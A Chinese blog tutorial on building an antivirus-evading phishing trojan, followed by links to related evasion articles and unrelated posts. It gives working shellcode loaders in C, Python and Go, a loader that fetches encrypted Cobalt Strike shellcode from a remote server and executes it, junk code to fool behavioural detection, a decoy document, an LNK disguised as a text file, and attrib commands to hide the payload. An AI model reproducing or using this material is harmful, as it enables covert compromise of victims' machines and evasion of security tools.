0x01 写在前面

其实去年已经写过类似的文章,但是久没用了,难免有些生疏。所谓温故而知新,因此再详细的记录一下,一方面可以给各位看官做个分享,另一方面等到用时也不至于出现临阵磨枪的尴尬场面。

0x02 附件携马

利用伪造的电邮,在附件中携带木马病毒,如word宏病毒,lnk快捷方式木马,或是捆绑在正常程序中的木马,发送给受害者,使木马成功上线的方式。

然而真实环境中,大多数目标主机上面都安装了杀毒软件,因此本文我们重点不在于如何给受害者发送一封钓鱼邮件,而是用粗略浅显的方法来实现钓鱼木马的免杀。

0x03 如何免杀

在了解免杀之前,我们必须先掌握两个概念,shellcode与shellcode loader。

1) 什么是shellcode?

百度百科这样解释道:shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。

翻译成人话就是:shellcode是一段执行某些动作的机器码。

2)什么是机器码?

百度百科:计算机直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数。机器指令码在计算机中通常被称为代码。

人话就是:计算机的机器指令码。

3)何为shellcode loader?

为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shellcode loader。不同语言loader的写法不同。

c/c++

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\......"; void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) { return; }
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}

Python

import ctypes

shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......")

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Golang

package loader

import (
"syscall"
"unsafe"
) var (
proc42526789738d uintptr
) const (
PAGE_EXECUTE_READWRITE = 0x40
) func Init() error {
modKernel32, err := syscall.LoadLibrary(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l',
}))
if err != nil {
return err
} proc42526789738d, err = syscall.GetProcAddress(modKernel32, string([]byte{
'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't',
}))
if err != nil {
return err
} return nil
} func X(buf []byte) {
var dwOldPerm uint32
syscall.Syscall6(
proc42526789738d,
4,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
uintptr(PAGE_EXECUTE_READWRITE),
uintptr(unsafe.Pointer(&dwOldPerm)),
0, 0,
) syscall.Syscall(
uintptr(unsafe.Pointer(&buf[0])),
0, 0, 0, 0,
)
}

本文采用c/c++方式来实现shellcode加载。

4)免杀原理

目前常见的防病毒软件,是基于三种模式来进行查杀。一是基于特征,二是基于行为,三是基于云查杀。云查杀其实也是特征查杀。

基于特征的查杀,我们使用各种编码与加密的方式+CobaltStrike自身的管道通信模式+shellcode不落地可以绕过。

基于行为的查杀,利用CobaltStrike的管道通信模式+花指令思维会有奇效,翻译成人话就是在loader中加入正常执行的代码,让exe本身具有正常的行为,来扰乱AV分析。

主要思路

  • shellcode字符串不做硬编码。人话是shellcode不写死在loader代码中。 (特征查杀)
  • 原始shellcode字符串加密。(特征查杀)
  • 添加干扰代码扰乱AV分析。(行为查杀)

CobaltStrike独特的管道通信模式使我们浅显的免杀方式成为了可能。

0x04 代码分析

我们采用shellcode不落地(远端httpserver)的方式,来实现shellcode不做硬编码,并且采用aes对称加密算法对原始shellcode进行加密。

在主函数中,将shellcode下载回来并解密:

//远程获取加密shellcode
char buf[BUF_SIZE] = { 0 };
char url[MAX_PATH] = "http://x.x.x.x/shellcode";
GetInterNetURLText(url, buf);
//解密shellcode
string strbuf = DecryptionAES(buf);

添加干扰代码,并执行shellcode:

    //干扰代码
char buff[BUF_SIZE] = { 0 };
for (int i = 0; i < strbuf.length(); i++)
buff<i> = strbuf<i>;
string aliword = base64_encode(word, 10);
char *p = buff; //shellcode处理
unsigned char* shellcode = (unsigned char*)calloc(strlen(buff) / 2, sizeof(unsigned char));
for (size_t i = 0; i < strlen(buff) / 2; i++) {
sscanf(p, "%2hhx", &shellcode<i>);
p += 2;
} string aliaesword = EncryptionAES(aliword);//干扰代码 void *run = VirtualAlloc(0, strlen(buff) / 2, MEM_COMMIT, PAGE_READWRITE);
memcpy(run, shellcode, strlen(buff) / 2); //创建可读可写内存 if (aliword != strword)
DecryptionAES(aliaesword); //干扰代码 VirtualProtect(run, strlen(buff) / 2, PAGE_EXECUTE, &dwOldProtect); //内存添加可执行权限
Sleep(2000); //延迟2S,躲避杀软查杀
((void(*)())run)(); //执行

0x05 具体实现

到这里我们只是初步完成了exe的免杀,但这还远远不够,直接发exe容易引起目标警觉,我们还需要稍加伪装!本文采用lnk方式来伪装木马。

lnk

什么是lnk?百度百科这样解释道:lnk文件是用于指向其他文件的一种文件。 这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。

有了lnk,我们只需要将lnk指向我们的木马文件,利用木马文件打开伪装的正常文件,然后再悄无声息地控制目标机器,简单的免杀钓鱼木马就可以实现。

实现步骤

首先我们需要根据目标的喜好、职业等因素,来伪装我们的附件,比如这样:



然后我们需要引导目标来点击我们的lnk文件,比如在压缩包中添加使用说明文档,内容可以自行发挥。在代码中,我们需要先将文档导入,当目标点击lnk文件时,先启动文档,再执行shellcode,避免目标起疑:

BOOL ReleaseLibrary(UINT uResourceId, CHAR* szResourceType, CHAR* szFileName)
{
// 找到资源
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(uResourceId), szResourceType);
// 获取资源大小
DWORD dwSize = SizeofResource(NULL, hRsrc); // 载入资源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc); // 锁定资源,并返回指向资源第一字节的指针
LPVOID lpRes = LockResource(hGlobal);
HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwWriten = 0;
BOOL bRes = WriteFile(hFile, lpRes, dwSize, &dwWriten, NULL);
CloseHandle(hFile);
CloseHandle(hGlobal);
CloseHandle(hRsrc);
return TRUE;
}
void main()
{
......
BOOL bRes = ReleaseLibrary(IDR_TESTTXT1, (CHAR*)"TESTTXT", (CHAR*)"使用须知.txt"); //生成伪装文件
ShellExecute(NULL, "open", "使用须知.txt", NULL, NULL, SW_SHOW); //打开伪装文件迷惑目标
......
}

Ok,接下来,我们编译出exe,将其放在附件里一个隐秘的文件夹中,并且伪装成系统进行名,混淆视听:



然后,我们新建lnk,指向我们的木马exe程序,并且将图标修改为文本文档图标:



最后,我们用attrib命令,将我们的木马与伪造的使用须知文档隐藏:

attrib csrss.exe +s +h
attrib 使用须知.txt +s +h



这时候,即使开启了显示隐藏文件,或者使用dir命令,都无法发现我们的木马文件:





OK,到这里,我们的免杀钓鱼木马就制作完成了。

0x06 效果检验

附件携马之CS免杀shellcode过国内主流杀软的更多相关文章

  1. [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

    0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...

  2. 免杀shellcode并绕过杀毒添加自启动

    https://www.wtfsec.org/posts/%E5%85%8D%E6%9D%80shellcode%E5%B9%B6%E7%BB%95%E8%BF%87%E6%9D%80%E6%AF%9 ...

  3. [原创]CobaltStrike & Metasploit Shellcode一键免杀工具

    CobaltStrike & Metasploit  Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...

  4. 那些shellcode免杀总结

    首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...

  5. 20164301 Exp3 免杀原理与实践

    Exp3 免杀原理与实践  1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应 ...

  6. 20164319 刘蕴哲 Exp3 免杀原理与实践

    [实验内容] 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程( ...

  7. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  8. 20165310 NetSec2019 Week5 Exp3 免杀原理与实践

    20165310 NetSec2019 Week5 Exp3 免杀原理与实践 一.免杀原理 杀软是如何检测出恶意代码的 基于特征码的检测:特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测 ...

  9. 网络对抗技术 2017-2018-2 20152515 Exp3 免杀原理与实践

    基础问题回答 (1)杀软是如何检测出恶意代码的? 答:分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码. (2)免杀是做什么? 答:一般是对恶意软件做处理,让它不被杀毒软件所检测,也是渗透测 ...

随机推荐

  1. 资源:Intellij IDEA 最新旗舰版注册激活破解*附注册码(2020年亲测)

    永久激活 1. 下载jetbrains-agent.jar包(2020.03.22亲测) 链接: https://pan.baidu.com/s/1BFXPwlROEF03BkhGzGIgEA 提取码 ...

  2. php 扩展 rabbitmq popt

    首先是rabbitmq-c-master.tar.gz包, 可以访问https://github.com/alanxz/rabbitmq-c去下载最新的 wget https://github.com ...

  3. 5shell中的数组

    0.理解数组 (1)shell不限制数组的大小,数组元素的下标从0开始计数 (2)获取数组中的元素要使用下标[ ],下标可以是一个整数,也可以是一个结果为整数的表达式,但是下标必须大于等于0 (3)b ...

  4. Adaptive AUTOSAR 学习笔记 3 - AP 背景、技术及特征(中文翻译)

    本系列学习笔记基于 AUTOSAR Adaptive Platform 官方文档 R20-11 版本.本文从AUTOSAR_EXP_PlatformDesign.pdf开始,一边学习,一边顺带着翻译一 ...

  5. Python基础4--数据类型

    一.数据类型是什么鬼? 计算机顾名思义就是可以做数学计算的机器,因此,计算机程序理所当然地可以处理各种数值.但是,计算机能处理的远不止数值,还可以处理文本.图形.音频.视频.网页等各种各样的数据,不同 ...

  6. 史上最强Tableau Server 安装教程

    前言 本文介绍的是单节点部署Tableau Server. 安装前 1.Tableau Server 的单节点安装的最低硬件推荐配置: 处理器: 64 位 必须支持 SSE4.2 和 POPCNT 指 ...

  7. 「AGC020D」 Min Max Repetition

    「AGC020D」 Min Max Repetition 传送门 首先这个东西的连续字符个数你可以二分.但事实上没有必要,这是可以直接算出来的. 即 \(k=\max\{\lceil\frac{A}{ ...

  8. 【动画消消乐】HTML+CSS 自定义加载动画 061

    前言 Hello!小伙伴! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出- 自我介绍ଘ(੭ˊᵕˋ)੭ 昵称:海轰 标签:程序猿|C++选手|学生 简介:因C语言结识编程,随后转入计算机专 ...

  9. C语言:逻辑运算符||

    #include <stdio.h> //逻辑运算符||特点:左右两边的表达式先做左边,如果左边为1则右边不用执行,整个结果为1:如果左边为0,再执行右边: main() { int x= ...

  10. 痞子衡嵌入式:了解i.MXRTxxx系列ROM中灵活的串行NOR Flash启动硬复位引脚选择

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是i.MXRTxxx系列ROM中灵活的串行NOR Flash启动硬复位引脚选择. 关于 i.MXRT 系列 BootROM 中串行 NOR ...